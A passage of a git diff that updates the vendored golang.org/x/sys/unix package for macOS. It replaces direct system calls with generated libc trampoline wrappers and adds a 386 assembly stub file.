-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,8 +2342,23 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_ptrace_trampoline), uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ptrace_trampoline()
-+
-+//go:linkname libc_ptrace libc_ptrace
-+//go:cgo_import_dynamic libc_ptrace ptrace "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2366,134 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat64_trampoline()
-+
-+//go:linkname libc_fstat64 libc_fstat64
-+//go:cgo_import_dynamic libc_fstat64 fstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat64_trampoline()
-+
-+//go:linkname libc_fstatat64 libc_fstatat64
-+//go:cgo_import_dynamic libc_fstatat64 fstatat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs64_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs64_trampoline()
-+
-+//go:linkname libc_fstatfs64 libc_fstatfs64
-+//go:cgo_import_dynamic libc_fstatfs64 fstatfs64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat64_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat64_trampoline()
-+
-+//go:linkname libc_getfsstat64 libc_getfsstat64
-+//go:cgo_import_dynamic libc_getfsstat64 getfsstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat64_trampoline()
-+
-+//go:linkname libc_lstat64 libc_lstat64
-+//go:cgo_import_dynamic libc_lstat64 lstat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat64_trampoline()
-+
-+//go:linkname libc_stat64 libc_stat64
-+//go:cgo_import_dynamic libc_stat64 stat64 "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs64_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs64_trampoline()
-+
-+//go:linkname libc_statfs64 libc_statfs64
-+//go:cgo_import_dynamic libc_statfs64 statfs64 "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
-new file mode 100644
-index 00000000..6836a412
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_386.s
-@@ -0,0 +1,284 @@
-+// go run mkasm_darwin.go 386
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_ptrace_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ptrace(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat64(SB)
-+TEXT ·libc_fstatat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat64(SB)
-+TEXT ·libc_fstatfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs64(SB)
-+TEXT ·libc_getfsstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat64(SB)
-+TEXT ·libc_lstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat64(SB)
-+TEXT ·libc_stat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat64(SB)
-+TEXT ·libc_statfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs64(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-index 07c6ebc9..f8e5c37c 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm64 syscall_bsd.go syscall_darwin.go syscall_darwin_arm64.go
-+// go run mksyscall.go -tags darwin,amd64,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_amd64.1_11.go syscall_darwin_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm64
-+// +build darwin,amd64,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
